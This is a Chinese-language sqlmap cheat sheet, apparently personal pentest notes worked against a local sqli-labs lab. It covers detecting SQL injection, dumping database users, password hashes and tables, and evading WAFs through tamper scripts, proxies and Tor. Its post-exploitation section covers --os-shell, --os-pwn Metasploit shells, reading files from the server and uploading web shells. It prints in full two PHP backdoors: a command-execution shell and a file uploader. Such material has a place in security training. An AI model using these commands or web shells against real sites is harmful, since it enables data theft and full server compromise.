E:\att_tools\web_tools\sql injection\sqlmap

基本使用

探测指定url是否存在SQL注入

无需登录

1
sqlmap -u  "url"  #探测该url是否存在漏洞

需要登录

cookie

1
sqlmap -u  "url"   --cookie="抓取的cookie"  #探测该url是否存在漏洞

data参数

1
sqlmap -u "url" --data="uname=admin&passwd=admin&submit=Submit"  #抓取其post提交的数据填入

探测http数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /sqli/Less-11/ HTTP/1.1
Host: 192.168.10.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Referer: http://192.168.10.1/sqli/Less-11/
Connection: close
Upgrade-Insecure-Requests: 1

uname=admin&passwd=admin&submit=Submit
sqlmap -r post.txt #探测post.txt文件中的http数据包是否存在sql注入漏洞

-p参数来指定需要探测的参数

*指定注入点

1
2
python sqlmap.py -u "http://xx.xx.xx.xx/xxxx*/?id=1" #对url路径执行探测
python sqlmap.py -u "http://xx.xx.xx.xx/xxxx*/?id=1" --cookie="uname=admin*" #对任意位置都可

数据库用户相关

1
2
3
4
5
6
sqlmap -u "url" 
--users #查看数据库的所有用户
--passwords #查看数据库所有用户名的密码
--current-user #查看数据库当前的用户
--is-dba #判断当前用户是否有管理员权限
--roles #列出数据库所有管理员角色

获取数据库数据

查看所有数据库(–dbs)

1
sqlmap -u "url" --dbs

查看当前数据表--current-db

获取所有的表(-D [库名] –tables)

1
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --tables #爆出数据库security中的所有的表

获取所有的列(-D [库名] -T [表名] –columns)

1
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --columns

获取指定数据(-D [库名] -T [表名] -C [列名] –dump)

1
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -C username --dump  #爆出数据库security中的users表中的username列中的所有数据

数据库中所有数据(–dump-all)

1
2
3
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --dump-all #爆出数据库security中的users表中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --dump-all #爆出数据库security中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dump-all #爆出该数据库中的所有数据

指定注入类型

1
2
3
4
5
6
7
8
–technique=(默认 BEUST)
–technique #测试指定注入类型\使用的技术
不加参数默认测试所有注入技术:
B: 基于布尔的 SQL 盲注
E: 基于显错 sql 注入
U: 基于 UNION 注入
S: 叠层 sql 注入
T: 基于时间盲注

查看详细信息

1
-v VERBOSE 详细级别:0-6(默认为1)

探测WAF绕过

1
2
3
4
5
6
7
8
9
10
11
12
--identify-waf   检测是否有WAF

#使用参数进行绕过
--random-agent 使用任意HTTP头进行绕过,尤其是在WAF配置不当的时候
--time-sec=3 使用长的延时来避免触发WAF的机制,这方式比较耗时
--hpp 使用HTTP 参数污染进行绕过,尤其是在ASP.NET/IIS 平台上
--proxy=100.100.100.100:8080 --proxy-cred=211:985 使用代理进行绕过
--ignore-proxy 禁止使用系统的代理,直接连接进行注入
--flush-session 清空会话,重构注入
--hex 或者 --no-cast 进行字符码转换
--mobile 对移动端的服务器进行注入
--tor 匿名注入

探测等级和危险等级(–level –risk)

1
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --level=5 --risk=3 #探测等级5,平台危险等级3,都是最高级别

Sqlmap一共有5个探测等级,默认是1。等级越高,说明探测时使用的payload也越多。其中5级的payload最多,会自动破解出cookie、XFF等头部注入。当然,等级越高,探测的时间也越慢。这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookie在level为2时就会测试,HTTP User-Agent/Referer头在level为3时就会测试。在不确定哪个参数为注入点时,为了保证准确性,建议设置level为5

sqlmap一共有3个危险等级,也就是说你认为这个网站存在几级的危险等级。和探测等级一个意思,在不确定的情况下,建议设置为3级,–risk=3

伪造Http Referer头部

Sqlmap可以在请求中伪造HTTP中的referer,当探测等级为3或者3以上时,会尝试对referer注入,可以使用referer命令来欺骗,比如,我们伪造referer头为百度。可以这样

1
--referer  http://www.baidu.com

指定脚本进行绕过(–tamper)

1
2
sqlmap  --tamper=space2comment.py  #用/**/代替空格
sqlmap --tamper="space2comment.py,space2plus.py" 指定多个脚本进行过滤

脚本位置

linux:/usr/share/sqlmap/tamper

windows:sqlmap\tamper

sqlmap-tamper脚本整理

注入后渗透

执行指定的SQL语句(–sql-shell)

img

这里的SQL语句最后不要有分号

img

执行操作系统命令(–os-shell)

在数据库为MySQL、PostgreSql或者SQL Server时,可以执行该选项。

当为MySQL数据库时,需满足下面三个条件:

  • 当前用户为 root
  • 知道网站根目录的绝对路径
  • 该数据库的 secure_file_priv 参数值为空(很多数据库的该值为NULL,这也就导致了即使当前用户是root,即使知道了网站根目录的绝对路径,也不能执行成功 –os-shell )
1
python .\sqlmap.py -u "http://192.168.3.30/sql1/Less-4/?id=1" --os-shell  #执行--os-shell命令

img

选择网站知道的脚本语言

do you want sqlmap to further try to provoke the full path disclosure? [Y/n]

您是否希望sqlmap进一步尝试引发完整路径的披露?【Y/n】

img

如果我们不知道网站的根目录的绝对路径的话,我们那里选择 4 暴力破解,尝试破解出根目录的绝对路径。这里因为是我们本地的环境,已经知道网站根目录的绝对地址了,所以选择 2

  • 【1】使用公共的默认目录(C:/xampp/htdocs/,C:/wamp/www,C:/Inetpub/wwwroot/)
  • 【2】自定义网络根目录绝对路径
  • 【3】指定自定义的路径文件
  • 【4】暴力破解

img

如果报错,无写入权限,修改my.ini

1
2
secure_auth = ON
secure_file_priv = ""

img

执行os-shell的过程中,sqlmap向网站根目录写入两个文件 tmpbxttd.php 和 tmpumosw.php。真正的木马文件是tmpbxttd.php 。如果是非正常退出sqlmap的话,这两个文件不会被删除。只有当我们输入 x 或 q 退出 sqlmap 时,该文件才会被自动删除。

tmpbxttd.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
$c = $_REQUEST["cmd"];
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set("max_execution_time", 0);
$z = @ini_get("disable_functions");
if (!empty($z)) {
$z = preg_replace("/[, ]+/", ',', $z);
$z = explode(',', $z);
$z = array_map("trim", $z);
} else {
$z = array();
}
$c = $c . " 2>&1\n";
function f($n)
{
global $z;
return is_callable($n) and !in_array($n, $z);
}

if (f("system")) {
ob_start();
system($c);
$w = ob_get_clean();
} elseif (f("proc_open")) {
$y = proc_open($c, array(array(pipe, r), array(pipe, w), array(pipe, w)), $t);
$w = NULL;
while (!feof($t[1])) {
$w .= fread($t[1], 512);
}
@proc_close($y);
} elseif (f("shell_exec")) {
$w = shell_exec($c);
} elseif (f("passthru")) {
ob_start();
passthru($c);
$w = ob_get_clean();
} elseif (f("popen")) {
$x = popen($c, r);
$w = NULL;
if (is_resource($x)) {
while (!feof($x)) {
$w .= fread($x, 512);
}
}
@pclose($x);
} elseif (f("exec")) {
$w = array();
exec($c, $w);
$w = join(chr(10), $w) . chr(10);
} else {
$w = 0;
}
echo "<pre>$w</pre>";
?>

tmpumosw.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
1	Dumb	Dumb
<?php
if (isset($_REQUEST["upload"])) {
$dir = $_REQUEST["uploadDir"];
if (phpversion() < '4.1.0') {
$file = $HTTP_POST_FILES["file"]["name"];
@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"], $dir . "/" . $file) or die();
} else {
$file = $_FILES["file"]["name"];
@move_uploaded_file($_FILES["file"]["tmp_name"], $dir . "/" . $file) or die();
}
@chmod($dir . "/" . $file, 0755);
echo "File uploaded";
} else {
echo "<form action=" . $_SERVER["PHP_SELF"] . " method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=E:\\phpStudy\\PHPTutorial\\WWW\\sql1\\Less-4\\> <input type=submit name=upload value=upload></form>";
}
?>

反弹一个MSF的shell(–os-pwn)

在数据库为MySQL、PostgreSql或者SQL Server时,可以执行该选项。并且需要当前获取的权限足够高才可以。

1
python .\sqlmap.py -u "http://100.142.20.139/sql1/Less-4/?id=1" --os-pwn

读取服务器文件(–file-read)

当数据库为MySQL、PostgreSQL或SQL Server,并且当前用户有权限时,可以读取指定文件,可以是文本文件或者二进制文件。

1
python .\sqlmap.py -u "http://100.142.20.139/sql1/Less-4/?id=1" --file-read "E:\phpStudy\PHPTutorial\WWW\sql1\Less-4\test.txt" #读取目标服务器C盘下的test.txt文件

img

文件成功读取保存到上图路径

上传文件到数据库服务器中(–file-write –file-dest)

当数据库为MySQL、Postgre SQL或者Sql Server(通过powershell写入),并且当前用户有权限向任意目录写文件的时候,可以上传文件到数据库服务器。文件可以是文本,也可以是二进制文件。

所以利用上传文件,我们可以上传一句话木马或者上传shell上去。

前提是我们知道网络的绝对路径

1
python .\sqlmap.py -u "http://100.142.20.139/sql1/Less-4/?id=1" --file-write C:\Users\DropAnn\Desktop\1.php --file-dest "E:\phpStudy\PHPTutorial\WWW\sql1\Less-4\test.php"

img

img

判断是否上传成功判断,对比文件大小是否一致

imgimg